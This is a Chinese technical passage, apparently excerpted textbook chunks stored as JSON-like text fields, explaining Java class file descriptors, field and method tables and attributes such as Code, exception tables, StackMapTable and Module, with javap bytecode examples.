相比于全限定名和简单名称，方法和字段的描述符就要复杂一些。描述符的作用是用来描述字段的数据类型、方法的参数列表（包括数量、类型以及顺序）和返回值。根据描述符规则，基本数据类型（byte、char、double、float、int、long、short、boolean）以及代表无返回值的void类型都用一个大写字符来表示，而对象类型则用字符L加对象的全限定名来表示，详见表6-10。 表6-10 描述符标识字符含义 注：void类型在《Java虚拟机规范》之中单独列出为“VoidDescriptor”，笔者为了结构统一，将其列在基本数据类型中一起描述。 对于数组类型，每一维度将使用一个前置的“[”字符来描述，如一个定义为“java.lang.String[][]”类型的二维数组将被记录成“[[Ljava/lang/String；”，一个整型数组“int[]”将被记录成“[I”。 用描述符来描述方法时，按照先参数列表、后返回值的顺序描述，参数列表按照参数的严格顺序放在一组小括号“()”之内。如方法void inc()的描述符为“()V”，方法java.lang.String toString()的描述符为“()Ljava/lang/String；”，方法int indexOf(char[]source，int sourceOffset，int sourceCount，char[]target，int targetOffset，int targetCount，int fromIndex)的描述符为“([CII[CIII)I”。 对于代码清单6-1所编译的TestClass.class文件来说，字段表集合从地址0x000000F8开始，第一个u2类型的数据为容量计数器fields_count，如图6-8所示，其值为0x0001，说明这个类只有一个字段表数据。接下来紧跟着容量计数器的是access_flags标志，值为0x0002，代表private修饰符的ACC_PRIVATE标志位为真（ACC_PRIVATE标志的值为0x0002），其他修饰符为假。代表字段名称的name_index的值为0x0005，从代码清单6-2列出的常量表中可查得第五项常量是一个CONSTANT_Utf8_info类型的字符串，其值为“m”，代表字段描述符的descriptor_index的值为0x0006，指向常量池的字符串“I”。根据这些信息，我们可以推断出原代码定义的字段为“private int m；”。 图6-8 字段表结构实例 字段表所包含的固定数据项目到descriptor_index为止就全部结束了，不过在descrip-tor_index之后跟随着一个属性表集合，用于存储一些额外的信息，字段表可以在属性表中附加描述零至多项的额外信息。对于本例中的字段m，它的属性表计数器为0，也就是没有需要额外描述的信息，但是，如果将字段m的声明改为“final static int m=123；”，那就可能会存在一项名称为ConstantValue的属性，其值指向常量123。关于attribute_info的其他内容，将在6.3.7节介绍属性表的数据项目时再做进一步讲解。 字段表集合中不会列出从父类或者父接口中继承而来的字段，但有可能出现原本Java代码之中不存在的字段，譬如在内部类中为了保持对外部类的访问性，编译器就会自动添加指向外部类实例的字段。另外，在Java语言中字段是无法重载的，两个字段的数据类型、修饰符不管是否相同，都必须使用不一样的名称，但是对于Class文件格式来讲，只要两个字段的描述符不是完全相同，那字段重名就是合法的。"},
    {"text": "6.3.6 方法表集合 如果理解了上一节关于字段表的内容，那本节关于方法表的内容将会变得很简单。Class文件存储格式中对方法的描述与对字段的描述采用了几乎完全一致的方式，方法表的结构如同字段表一样，依次包括访问标志（access_flags）、名称索引（name_index）、描述符索引（descriptor_index）、属性表集合（attributes）几项，如表6-11所示。这些数据项目的含义也与字段表中的非常类似，仅在访问标志和属性表集合的可选项中有所区别。 表6-11 方法表结构 因为volatile关键字和transient关键字不能修饰方法，所以方法表的访问标志中没有了ACC_VOLATILE标志和ACC_TRANSIENT标志。与之相对，synchronized、native、strictfp和abstract关键字可以修饰方法，方法表的访问标志中也相应地增加了ACC_SYNCHRONIZED、ACC_NATIVE、ACC_STRICTFP和ACC_ABSTRACT标志。对于方法表，所有标志位及其取值可参见表6-12。 表6-12 方法访问标志 行文至此，也许有的读者会产生疑问，方法的定义可以通过访问标志、名称索引、描述符索引来表达清楚，但方法里面的代码去哪里了？方法里的Java代码，经过Javac编译器编译成字节码指令之后，存放在方法属性表集合中一个名为“Code”的属性里面，属性表作为Class文件格式中最具扩展性的一种数据项目，将在下一节中详细讲解。 我们继续以代码清单6-1中的Class文件为例对方法表集合进行分析。如图6-9所示，方法表集合的入口地址为0x00000101，第一个u2类型的数据（即计数器容量）的值为0x0002，代表集合中有两个方法，这两个方法为编译器添加的实例构造器<init>和源码中定义的方法inc()。第一个方法的访问标志值为0x0001，也就是只有ACC_PUBLIC标志为真，名称索引值为0x0007，查代码清单6-2的常量池得方法名为“<init>”，描述符索引值为0x0008，对应常量为“()V”，属性表计数器attributes_count的值为0x0001，表示此方法的属性表集合有1项属性，属性名称的索引值为0x0009，对应常量为“Code”，说明此属性是方法的字节码描述。 图6-9 方法表结构实例 与字段表集合相对应地，如果父类方法在子类中没有被重写（Override），方法表集合中就不会出现来自父类的方法信息。但同样地，有可能会出现由编译器自动添加的方法，最常见的便是类构造器“<clinit>()”方法和实例构造器“<init>()”方法 [1] 。 在Java语言中，要重载（Overload）一个方法，除了要与原方法具有相同的简单名称之外，还要求必须拥有一个与原方法不同的特征签名 [2] 。特征签名是指一个方法中各个参数在常量池中的字段符号引用的集合，也正是因为返回值不会包含在特征签名之中，所以Java语言里面是无法仅仅依靠返回值的不同来对一个已有方法进行重载的。但是在Class文件格式之中，特征签名的范围明显要更大一些，只要描述符不是完全一致的两个方法就可以共存。也就是说，如果两个方法有相同的名称和特征签名，但返回值不同，那么也是可以合法共存于同一个Class文件中的。 [1] ＜init＞()和＜clinit＞()的详细内容见本书的下一部分“前端编译与优化”。 [2] 在《Java虚拟机规范》第2版的4.4.4节及《Java语言规范》第3版的8.4.2节中分别都定义了字节码层面的方法特征签名以及Java代码层面的方法特征签名，Java代码的方法特征签名只包括方法名称、参数顺序及参数类型，而字节码的特征签名还包括方法返回值以及受查异常表，请读者根据上下文语境注意区分。"},
    {"text": "6.3.7 属性表集合 属性表（attribute_info）在前面的讲解之中已经出现过数次，Class文件、字段表、方法表都可以携带自己的属性表集合，以描述某些场景专有的信息。 与Class文件中其他的数据项目要求严格的顺序、长度和内容不同，属性表集合的限制稍微宽松一些，不再要求各个属性表具有严格顺序，并且《Java虚拟机规范》允许只要不与已有属性名重复，任何人实现的编译器都可以向属性表中写入自己定义的属性信息，Java虚拟机运行时会忽略掉它不认识的属性。 为了能正确解析Class文件，《Java虚拟机规范》最初只预定义了9项所有Java虚拟机实现都应当能识别的属性，而在最新的《Java虚拟机规范》的Java SE 12版本中，预定义属性已经增加到29项，这些属性具体见表6-13。"},
    {"text": "表6-13 虚拟机规范预定义的属性 对于每一个属性，它的名称都要从常量池中引用一个CONSTANT_Utf8_info类型的常量来表示，而属性值的结构则是完全自定义的，只需要通过一个u4的长度属性去说明属性值所占用的位数即可。"},
    {"text": "表6-14 属性表结构 1.Code属性 Java程序方法体里面的代码经过Javac编译器处理之后，最终变为字节码指令存储在Code属性内。 Code属性出现在方法表的属性集合之中，但并非所有的方法表都必须存在这个属性，譬如接口或者抽象类中的方法就不存在Code属性，如果方法表有Code属性存在，那么它的结构将如表6-15所示。 表6-15 Code属性表的结构 attribute_name_index是一项指向CONSTANT_Utf8_info型常量的索引，此常量值固定为“Code”，它代表了该属性的属性名称，attribute_length指示了属性值的长度，由于属性名称索引与属性长度一共为6个字节，所以属性值的长度固定为整个属性表长度减去6个字节。"},
    {"text": "max_locals代表了局部变量表所需的存储空间。 在这里，max_locals的单位是变量槽（Slot），变量槽是虚拟机为局部变量分配内存所使用的最小单位。"},
    {"text": "对于byte、char、float、int、short、boolean和returnAddress等长度不超过32位的数据类型，每个局部变量占用一个变量槽，而double和long这两种64位的数据类型则需要两个变量槽来存放。"},
    {"text": "方法参数（包括实例方法中的隐藏参数“this”）、显式异常处理程序的参数（Exception Handler Parameter，就是try-catch语句中catch块中所定义的异常）、方法体中定义的局部变量都需要依赖局部变量表来存放。"},
    {"text": "注意，并不是在方法中用了多少个局部变量，就把这些局部变量所占变量槽数量之和作为max_locals的值，操作数栈和局部变量表直接决定一个该方法的栈帧所耗费的内存，不必要的操作数栈深度和变量槽数量会造成内存的浪费。 Java虚拟机的做法是将局部变量表中的变量槽进行重用，当代码执行超出一个局部变量的作用域时，这个局部变量所占的变量槽可以被其他局部变量所使用，Javac编译器会根据变量的作用域来分配变量槽给各个变量使用，根据同时生存的最大局部变量数量和类型计算出max_locals的大小。"},
    {"text": "code_length和code用来存储Java源程序编译后生成的字节码指令。 code_length代表字节码长度，code是用于存储字节码指令的一系列字节流。 既然叫字节码指令，那顾名思义每个指令就是一个u1类型的单字节，当虚拟机读取到code中的一个字节码时，就可以对应找出这个字节码代表的是什么指令，并且可以知道这条指令后面是否需要跟随参数，以及后续的参数应当如何解析。"},
    {"text": "目前，《Java虚拟机规范》已经定义了其中约200条编码值对应的指令含义，编码与指令之间的对应关系可查阅本书的附录C“虚拟机字节码指令表”。"},
    {"text": "关于code_length，有一件值得注意的事情，虽然它是一个u4类型的长度值，理论上最大值可以达到2的32次幂，但是《Java虚拟机规范》中明确限制了一个方法不允许超过65535条字节码指令，即它实际只使用了u2的长度，如果超过这个限制，Javac编译器就会拒绝编译。 一般来讲，编写Java代码时只要不是刻意去编写一个超级长的方法来为难编译器，是不太可能超过这个最大值的限制的。"},
    {"text": "但是，某些特殊情况，例如在编译一个很复杂的JSP文件时，某些JSP编译器会把JSP内容和页面输出的信息归并于一个方法之中，就有可能因为方法生成字节码超长的原因而导致编译失败。"},
    {"text": "Code属性是Class文件中最重要的一个属性，如果把一个Java程序中的信息分为代码（Code，方法体里面的Java代码）和元数据（Metadata，包括类、字段、方法定义及其他信息）两部分，那么在整个Class文件里，Code属性用于描述代码，所有的其他数据项目都用于描述元数据。 了解Code属性是学习后面两章关于字节码执行引擎内容的必要基础，能直接阅读字节码也是工作中分析Java代码语义问题的必要工具和基本技能，为此，笔者准备了一个比较详细的实例来讲解虚拟机是如何使用这个属性的。 继续以代码清单6-1的TestClass.class文件为例，如图6-10所示，这是上一节分析过的实例构造器“<init>()”方法的Code属性。"},
    {"text": "翻译“2A B7000A B1”的过程为： 1）读入2A，查表得0x2A对应的指令为aload_0，这个指令的含义是将第0个变量槽中为reference类型的本地变量推送到操作数栈顶。"},
    {"text": "2）读入B7，查表得0xB7对应的指令为invokespecial，这条指令的作用是以栈顶的reference类型的数据所指向的对象作为方法接收者，调用此对象的实例构造器方法、private方法或者它的父类的方法。"},
    {"text": "3）读入000A，这是invokespecial指令的参数，代表一个符号引用，查常量池得0x000A对应的常量为实例构造器“<init>()”方法的符号引用。"},
    {"text": "但又发现与通常基于栈的指令集里都是无参数的又不太一样，某些指令（如invokespecial）后面还会带有参数，关于虚拟机字节码执行的讲解是后面两章的话题，我们不妨把这里的疑问放到第8章去解决。"},
    {"text": "代码清单6-4 用Javap命令计算字节码指令 // 原始Java代码 public class TestClass { private int m; public int inc() { return m + 1; } } C:\\>javap -verbose TestClass // 常量表部分的输出见代码清单6-1，因版面原因这里省略掉 { public org.fenixsoft.clazz.TestClass(); Code: Stack=1, Locals=1, Args_size=1 0: aload_0 1: invokespecial #10; //Method java/lang/Object.\"<init>\":()V 4: return LineNumberTable: line 3: 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this Lorg/fenixsoft/clazz/TestClass; public int inc(); Code: Stack=2, Locals=1, Args_size=1 0: aload_0 1: getfield #18; //Field m:I 4: iconst_1 5: iadd 6: ireturn LineNumberTable: line 8: 0 LocalVariableTable: Start Length Slot Name Signature 0 7 0 this Lorg/fenixsoft/clazz/TestClass; } 如果大家注意到javap中输出的“Args_size”的值，可能还会有疑问：这个类有两个方法——实例构造器<init>()和inc()，这两个方法很明显都是没有参数的，为什么Args_size会为1？"},
    {"text": "如果有这样疑问的读者，大概是忽略了一条Java语言里面的潜规则：在任何实例方法里面，都可以通过“this”关键字访问到此方法所属的对象。 这个访问机制对Java程序的编写很重要，而它的实现非常简单，仅仅是通过在Javac编译器编译的时候把对this关键字的访问转变为对一个普通方法参数的访问，然后在虚拟机调用实例方法时自动传入此参数而已。"},
    {"text": "因此在实例方法的局部变量表中至少会存在一个指向当前对象实例的局部变量，局部变量表中也会预留出第一个变量槽位来存放对象实例的引用，所以实例方法参数值从1开始计算。"},
    {"text": "在字节码指令之后的是这个方法的显式异常处理表（下文简称“异常表”）集合，异常表对于Code属性来说并不是必须存在的，如代码清单6-4中就没有异常表生成。 如果存在异常表，那它的格式应如表6-16所示，包含四个字段，这些字段的含义为：如果当字节码从第start_pc行 [1] 到第end_pc行之间（不含第end_pc行）出现了类型为catch_type或者其子类的异常（catch_type为指向一个CONSTANT_Class_info型常量的索引），则转到第handler_pc行继续处理。"},
    {"text": "表6-16 属性表结构 异常表实际上是Java代码的一部分，尽管字节码中有最初为处理异常而设计的跳转指令，但《Java虚拟机规范》中明确要求Java语言的编译器应当选择使用异常表而不是通过跳转指令来实现Java异常及finally处理机制 [2] 。"},
    {"text": "代码清单6-5 异常表运作演示 // Java源码 public int inc() { int x; try { x = 1; return x; } catch (Exception e) { x = 2; return x; } finally { x = 3; } } // 编译后的ByteCode字节码及异常表 public int inc(); Code: Stack=1, Locals=5, Args_size=1 0: iconst_1 // try块中的x=1 1: istore_1 2: iload_1 // 保存x到returnValue中，此时x=1 3: istore 4 5: iconst_3 // finaly块中的x=3 6: istore_1 7: iload 4 // 将returnValue中的值放到栈顶，准备给ireturn返回 9: ireturn 10: astore_2 // 给catch中定义的Exception e赋值，存储在变量槽 2中 11: iconst_2 // catch块中的x=2 12: istore_1 13: iload_1 // 保存x到returnValue中，此时x=2 14: istore 4 16: iconst_3 // finaly块中的x=3 17: istore_1 18: iload 4 // 将returnValue中的值放到栈顶，准备给ireturn返回 20: ireturn 21: astore_3 // 如果出现了不属于java.lang.Exception及其子类的异常才会走到这里 22: iconst_3 // finaly块中的x=3 23: istore_1 24: aload_3 // 将异常放置到栈顶，并抛出 25: athrow Exception table: from to target type 0 5 10 Class java/lang/Exception 0 5 21 any 10 16 21 any 编译器为这段Java源码生成了三条异常表记录，对应三条可能出现的代码执行路径。"},
    {"text": "从Java代码的语义上讲，这三条执行路径分别为： ·如果try语句块中出现属于Exception或其子类的异常，转到catch语句块处理； ·如果try语句块中出现不属于Exception或其子类的异常，转到finally语句块处理； ·如果catch语句块中出现任何异常，转到finally语句块处理。"},
    {"text": "熟悉Java语言的读者应该很容易说出答案：如果没有出现异常，返回值是1； 如果出现了Exception异常，返回值是2； 如果出现了Exception以外的异常，方法非正常退出，没有返回值。"},
    {"text": "字节码中第0～4行所做的操作就是将整数1赋值给变量x，并且将此时x的值复制一份副本到最后一个本地变量表的变量槽中（这个变量槽里面的值在ireturn指令执行前将会被重新读到操作栈顶，作为方法返回值使用。"},
    {"text": "如果这时候没有出现异常，则会继续走到第5～9行，将变量x赋值为3，然后将之前保存在returnValue中的整数1读入到操作栈顶，最后ireturn指令会以int形式返回操作栈顶中的值，方法结束。 如果出现了异常，PC寄存器指针转到第10行，第10～20行所做的事情是将2赋值给变量x，然后将变量x此时的值赋给returnValue，最后再将变量x的值改为3。"},
    {"text": "2.Exceptions属性 这里的Exceptions属性是在方法表中与Code属性平级的一项属性，读者不要与前面刚刚讲解完的异常表产生混淆。 Exceptions属性的作用是列举出方法中可能抛出的受查异常（Checked Excepitons），也就是方法描述时在throws关键字后面列举的异常。"},
    {"text": "表6-17 Exceptions属性结构 此属性中的number_of_exceptions项表示方法可能抛出number_of_exceptions种受查异常，每一种受查异常使用一个exception_index_table项表示； exception_index_table是一个指向常量池中CONSTANT_Class_info型常量的索引，代表了该受查异常的类型。"},
    {"text": "如果选择不生成LineNumberTable属性，对程序运行产生的最主要影响就是当抛出异常时，堆栈中将不会显示出错的行号，并且在调试程序的时候，也无法按照源码行来设置断点。"},
    {"text": "表6-18 LineNumberTable属性结构 line_number_table是一个数量为line_number_table_length、类型为line_number_info的集合，line_number_info表包含start_pc和line_number两个u2类型的数据项，前者是字节码行号，后者是Java源码行号。"},
    {"text": "4.LocalVariableTable及LocalVariableTypeTable属性 LocalVariableTable属性用于描述栈帧中局部变量表的变量与Java源码中定义的变量之间的关系，它也不是运行时必需的属性，但默认会生成到Class文件之中，可以在Javac中使用-g：none或-g：vars选项来取消或要求生成这项信息。"},
    {"text": "如果没有生成这项属性，最大的影响就是当其他人引用这个方法时，所有的参数名称都将会丢失，譬如IDE将会使用诸如arg0、arg1之类的占位符代替原有的参数名，这对程序运行没有影响，但是会对代码编写带来较大不便，而且在调试期间无法根据参数名称从上下文中获得参数值。"},
    {"text": "LocalVariableTable属性的结构如表6-19所示。 表6-19 LocalVariableTable属性结构 其中local_variable_info项目代表了一个栈帧与源码中的局部变量的关联，结构如表6-20所示。 表6-20 local_variable_info项目结构 start_pc和length属性分别代表了这个局部变量的生命周期开始的字节码偏移量及其作用范围覆盖的长度，两者结合起来就是这个局部变量在字节码之中的作用域范围。"},
    {"text": "对于非泛型类型来说，描述符和特征签名能描述的信息是能吻合一致的，但是泛型引入之后，由于描述符中泛型的参数化类型被擦除掉 [3] ，描述符就不能准确描述泛型类型了。"},
    {"text": "JSR 45提案为这些非Java语言编写，却需要编译成字节码并运行在Java虚拟机中的程序提供了一个进行调试的标准机制，使用SourceDebugExtension属性就可以用于存储这个标准所新加入的调试信息，譬如让程序员能够快速从异常堆栈中定位出原始JSP中出现问题的行号。"},
    {"text": "SourceDebugExtension属性的结构如表6-22所示。 表6-22 SourceDebugExtension属性结构 其中debug_extension存储的就是额外的调试信息，是一组通过变长UTF-8格式来表示的字符串。"},
    {"text": "目前Oracle公司实现的Javac编译器的选择是，如果同时使用final和static来修饰一个变量（按照习惯，这里称“常量”更贴切），并且这个变量的数据类型是基本类型或者java.lang.String的话，就将会生成ConstantValue属性来进行初始化； 如果这个变量没有被final修饰，或者并非基本类型及字符串，则将会选择在<clinit>()方法中进行初始化。 虽然有final关键字才更符合“ConstantValue”的语义，但《Java虚拟机规范》中并没有强制要求字段必须设置ACC_FINAL标志，只要求有ConstantValue属性的字段必须设置ACC_STATIC标志而已，对final关键字的要求是Javac编译器自己加入的限制。"},
    {"text": "而对ConstantValue的属性值只能限于基本类型和String这点，其实并不能算是什么限制，这是理所当然的结果。 因为此属性的属性值只是一个常量池的索引号，由于Class文件格式的常量类型中只有与基本属性和字符串相对应的字面量，所以就算ConstantValue属性想支持别的类型也无能为力。"},
    {"text": "ConstantValue属性的结构如表6-23所示。 表6-23 ConstantValue属性结构 从数据结构中可以看出ConstantValue属性是一个定长属性，它的attribute_length数据项值必须固定为2。"},
    {"text": "constantvalue_index数据项代表了常量池中一个字面量常量的引用，根据字段类型的不同，字面量可以是CONSTANT_Long_info、CONSTANT_Float_info、CONSTANT_Double_info、CONSTANT_Integer_info和CONSTANT_String_info常量中的一种。"},
    {"text": "7.InnerClasses属性 InnerClasses属性用于记录内部类与宿主类之间的关联。 如果一个类中定义了内部类，那编译器将会为它以及它所包含的内部类生成InnerClasses属性。"},
    {"text": "InnerClasses属性的结构如表6-24所示。 表6-24 InnerClasses属性结构 数据项number_of_classes代表需要记录多少个内部类信息，每一个内部类的信息都由一个inner_classes_info表进行描述。 inner_classes_info表的结构如表6-25所示。 表6-25 inner_classes_info表的结构 inner_class_info_index和outer_class_info_index都是指向常量池中CONSTANT_Class_info型常量的索引，分别代表了内部类和宿主类的符号引用。 inner_name_index是指向常量池中CONSTANT_Utf8_info型常量的索引，代表这个内部类的名称，如果是匿名内部类，这项值为0。 inner_class_access_flags是内部类的访问标志，类似于类的access_flags，它的取值范围如表6-26所示。 表6-26 inner_class_access_flags标志 8.Deprecated及Synthetic属性 Deprecated和Synthetic两个属性都属于标志类型的布尔属性，只存在有和没有的区别，没有属性值的概念。"},
    {"text": "Synthetic属性代表此字段或者方法并不是由Java源码直接产生的，而是由编译器自行添加的，在JDK 5之后，标识一个类、字段或者方法是编译器自动产生的，也可以设置它们访问标志中的ACC_SYNTHETIC标志位。"},
    {"text": "编译器通过生成一些在源代码中不存在的Synthetic方法、字段甚至是整个类的方式，实现了越权访问（越过private修饰器）或其他绕开了语言限制的功能，这可以算是一种早期优化的技巧，其中最典型的例子就是枚举类中自动生成的枚举元素数组和嵌套类的桥接方法（Bridge Method）。"},
    {"text": "所有由不属于用户代码产生的类、方法及字段都应当至少设置Synthetic属性或者ACC_SYNTHETIC标志位中的一项，唯一的例外是实例构造器“<init>()”方法和类构造器“<clinit>()”方法。"},
    {"text": "这个属性会在虚拟机类加载的字节码验证阶段被新类型检查验证器（Type Checker）使用（详见第7章字节码验证部分），目的在于代替以前比较消耗性能的基于数据流分析的类型推导验证器。"},
    {"text": "新的验证器在同样能保证Class文件合法性的前提下，省略了在运行期通过数据流分析去确认字节码的行为逻辑合法性的步骤，而在编译阶段将一系列的验证类型（Verification Type）直接记录在Class文件之中，通过检查这些验证类型代替了类型推导过程，从而大幅提升了字节码验证的性能。"},
    {"text": "关于这个验证器的工作原理，《Java虚拟机规范》在Java SE 7版中新增了整整120页的篇幅来讲解描述，其中使用了庞大而复杂的公式化语言去分析证明新验证方法的严谨性，笔者在此就不展开赘述了。"},
    {"text": "StackMapTable属性中包含零至多个栈映射帧（Stack Map Frame），每个栈映射帧都显式或隐式地代表了一个字节码偏移量，用于表示执行到该字节码时局部变量表和操作数栈的验证类型。"},
    {"text": "StackMapTable属性的结构如表6-28所示。 表6-28 StackMapTable属性结构 在Java SE 7版之后的《Java虚拟机规范》中，明确规定对于版本号大于或等于50.0的Class文件，如果方法的Code属性中没有附带StackMapTable属性，那就意味着它带有一个隐式的StackMap属性，这个StackMap属性的作用等同于number_of_entries值为0的StackMapTable属性。 一个方法的Code属性最多只能有一个StackMapTable属性，否则将抛出ClassFormatError异常。"},
    {"text": "10.Signature属性 Signature属性在JDK 5增加到Class文件规范之中，它是一个可选的定长属性，可以出现于类、字段表和方法表结构的属性表中。 在JDK 5里面大幅增强了Java语言的语法，在此之后，任何类、接口、初始化方法或成员的泛型签名如果包含了类型变量（Type Variable）或参数化类型（Parameterized Type），则Signature属性会为它记录泛型签名信息。 之所以要专门使用这样一个属性去记录泛型类型，是因为Java语言的泛型采用的是擦除法实现的伪泛型，字节码（Code属性）中所有的泛型信息编译（类型变量、参数化类型）在编译之后都通通被擦除掉。"},
    {"text": "使用擦除法的好处是实现简单（主要修改Javac编译器，虚拟机内部只做了很少的改动）、非常容易实现Backport，运行期也能够节省一些类型所占的内存空间。"},
    {"text": "但坏处是运行期就无法像C#等有真泛型支持的语言那样，将泛型类型与用户定义的普通类型同等对待，例如运行期做反射时无法获得泛型信息。"},
    {"text": "Signature属性就是为了弥补这个缺陷而增设的，现在Java的反射API能够获取的泛型类型，最终的数据来源也是这个属性。 关于Java泛型、Signature属性和类型擦除，在第10章讲编译器优化的时候我们会通过一个更具体的例子来讲解。"},
    {"text": "如果当前的Signature属性是类文件的属性，则这个结构表示类签名，如果当前的Signature属性是方法表的属性，则这个结构表示方法类型签名，如果当前Signature属性是字段表的属性，则这个结构表示字段类型签名。"},
    {"text": "根据《Java虚拟机规范》（从Java SE 7版起）的规定，如果某个类文件结构的常量池中曾经出现过CONSTANT_InvokeDynamic_info类型的常量，那么这个类文件的属性表中必须存在一个明确的BootstrapMethods属性，另外，即使CONSTANT_InvokeDynamic_info类型的常量在常量池中出现过多次，类文件的属性表中最多也只能有一个BootstrapMethods属性。 BootstrapMethods属性和JSR-292中的InvokeDynamic指令和java.lang.Invoke包关系非常密切，要介绍这个属性的作用，必须先讲清楚InovkeDynamic指令的运作原理，笔者将在第8章专门花一整节篇幅去介绍它们，在此先暂时略过。 虽然JDK 7中已经提供了InovkeDynamic指令，但这个版本的Javac编译器还暂时无法支持InvokeDynamic指令和生成BootstrapMethods属性，必须通过一些非常规的手段才能使用它们。 直到JDK 8中Lambda表达式和接口默认方法的出现，InvokeDynamic指令才算在Java语言生成的Class文件中有了用武之地。"},
    {"text": "BootstrapMethods属性的结构如表6-30所示。 表6-30 BootstrapMethods属性结构 其中引用到的bootstrap_method结构如表6-31所示。 表6-31 bootstrap_method属性结构 BootstrapMethods属性里，num_bootstrap_methods项的值给出了bootstrap_methods[]数组中的引导方法限定符的数量。 而bootstrap_methods[]数组的每个成员包含了一个指向常量池CONSTANT_MethodHandle结构的索引值，它代表了一个引导方法。"},
    {"text": "bootstrap_methods[]数组的每个成员必须包含以下三项内容： ·bootstrap_method_ref：bootstrap_method_ref项的值必须是一个对常量池的有效索引。"},
    {"text": "·num_bootstrap_arguments：num_bootstrap_arguments项的值给出了bootstrap_argu-ments[]数组成员的数量。 ·bootstrap_arguments[]：bootstrap_arguments[]数组的每个成员必须是一个对常量池的有效索引。"},
    {"text": "常量池在该索引出必须是下列结构之一：CONSTANT_String_info、CONSTANT_Class_info、CONSTANT_Integer_info、CONSTANT_Long_info、CONSTANT_Float_info、CONSTANT_Double_info、CONSTANT_MethodHandle_info或CONSTANT_MethodType_info。"},
    {"text": "最初，基于存储空间的考虑，Class文件默认是不储存方法参数名称的，因为给参数起什么名字对计算机执行程序来说是没有任何区别的，所以只要在源码中妥当命名就可以了。 随着Java的流行，这点确实为程序的传播和二次复用带来了诸多不便，由于Class文件中没有参数的名称，如果只有单独的程序包而不附加上JavaDoc的话，在IDE中编辑使用包里面的方法时是无法获得方法调用的智能提示的，这就阻碍了JAR包的传播。 后来，“-g：var”就成为了Javac以及许多IDE编译Class时采用的默认值，这样会将方法参数的名称生成到LocalVariableTable属性之中。 不过此时问题仍然没有全部解决，LocalVariableTable属性是Code属性的子属性——没有方法体存在，自然就不会有局部变量表，但是对于其他情况，譬如抽象方法和接口方法，是理所当然地可以不存在方法体的，对于方法签名来说，还是没有找到一个统一完整的保留方法参数名称的地方。 所以JDK 8中新增的这个属性，使得编译器可以（编译时加上-parameters参数）将方法名称也写进Class文件中，而且MethodParameters是方法表的属性，与Code属性平级的，可以运行时通过反射API获取。"},
    {"text": "·0x1000（ACC_SYNTHETIC）：表示该参数并未出现在源文件中，是编译器自动生成的。 ·0x8000（ACC_MANDATED）：表示该参数是在源文件中隐式定义的。"},
    {"text": "13.模块化相关属性 JDK 9的一个重量级功能是Java的模块化功能，因为模块描述文件（module-info.java）最终是要编译成一个独立的Class文件来存储的，所以，Class文件格式也扩展了Module、ModulePackages和ModuleMainClass三个属性用于支持Java模块化相关功能。"},
    {"text": "Module属性是一个非常复杂的变长属性，除了表示该模块的名称、版本、标志信息以外，还存储了这个模块requires、exports、opens、uses和provides定义的全部内容，其结构如表6-34所示。 表6-34 Module属性结构 其中，module_name_index是一个指向常量池CONSTANT_Utf8_info常量的索引值，代表了该模块的名称。 而module_flags是模块的状态指示器，它可以包含以下三种状态中的一种或多种： ·0x0020（ACC_OPEN）：表示该模块是开放的。"},
    {"text": "·0x1000（ACC_SYNTHETIC）：表示该模块并未出现在源文件中，是编译器自动生成的。 ·0x8000（ACC_MANDATED）：表示该模块是在源文件中隐式定义的。"},
    {"text": "后续的几个属性分别记录了模块的requires、exports、opens、uses和provides定义，由于它们的结构是基本相似的，为了节省版面，笔者仅介绍其中的exports，该属性结构如表6-35所示。 表6-35 exports属性结构 exports属性的每一元素都代表一个被模块所导出的包，exports_index是一个指向常量池CONSTANT_Package_info常量的索引值，代表了被该模块导出的包。 exports_flags是该导出包的状态指示器，它可以包含以下两种状态中的一种或多种： ·0x1000（ACC_SYNTHETIC）：表示该导出包并未出现在源文件中，是编译器自动生成的。"},
    {"text": "exports_to_count是该导出包的限定计数器，如果这个计数器为零，这说明该导出包是无限定的（Unqualified），即完全开放的，任何其他模块都可以访问该包中所有内容。 如果该计数器不为零，则后面的exports_to_index是以计数器值为长度的数组，每个数组元素都是一个指向常量池中CONSTANT_Module_info常量的索引值，代表着只有在这个数组范围内的模块才被允许访问该导出包的内容。"},
    {"text": "表6-36 ModulePackages属性结构 package_count是package_index数组的计数器，package_index中每个元素都是指向常量池CONSTANT_Package_info常量的索引值，代表了当前模块中的一个包。"},
    {"text": "最后一个ModuleMainClass属性是一个定长属性，用于确定该模块的主类（Main Class），其结构如表6-37所示。 表6-37 ModuleMainClass属性结构 其中，main_class_index是一个指向常量池CONSTANT_Class_info常量的索引值，代表了该模块的主类。"},
    {"text": "为了存储源码中注解信息，Class文件同步增加了RuntimeVisibleAnnotations、RuntimeInvisibleAnnotations、RuntimeVisibleParameterAnnotations和RuntimeInvisibleParameter-Annotations四个属性。 到了JDK 8时期，进一步加强了Java语言的注解使用范围，又新增类型注解（JSR 308），所以Class文件中也同步增加了RuntimeVisibleTypeAnnotations和RuntimeInvisibleTypeAnnotations两个属性。 由于这六个属性不论结构还是功能都比较雷同，因此我们把它们合并到一起，以RuntimeVisibleAnnotations为代表进行介绍。 RuntimeVisibleAnnotations是一个变长属性，它记录了类、字段或方法的声明上记录运行时可见注解，当我们使用反射API来获取类、字段或方法上的注解时，返回值就是通过这个属性来取到的。 RuntimeVisibleAnnotations属性的结构如表6-38所示。 表6-38 RuntimeVisibleAnnotations属性结构 num_annotations是annotations数组的计数器，annotations中每个元素都代表了一个运行时可见的注解，注解在Class文件中以annotation结构来存储，具体如表6-39所示。"},
    {"text": "[2] 在JDK 1.4.2之前的Javac编译器采用了jsr和ret指令实现finally语句，但1.4.2之后已经改为编译器在每段分支之后都将finally语句块的内容冗余生成一遍来实现。"},
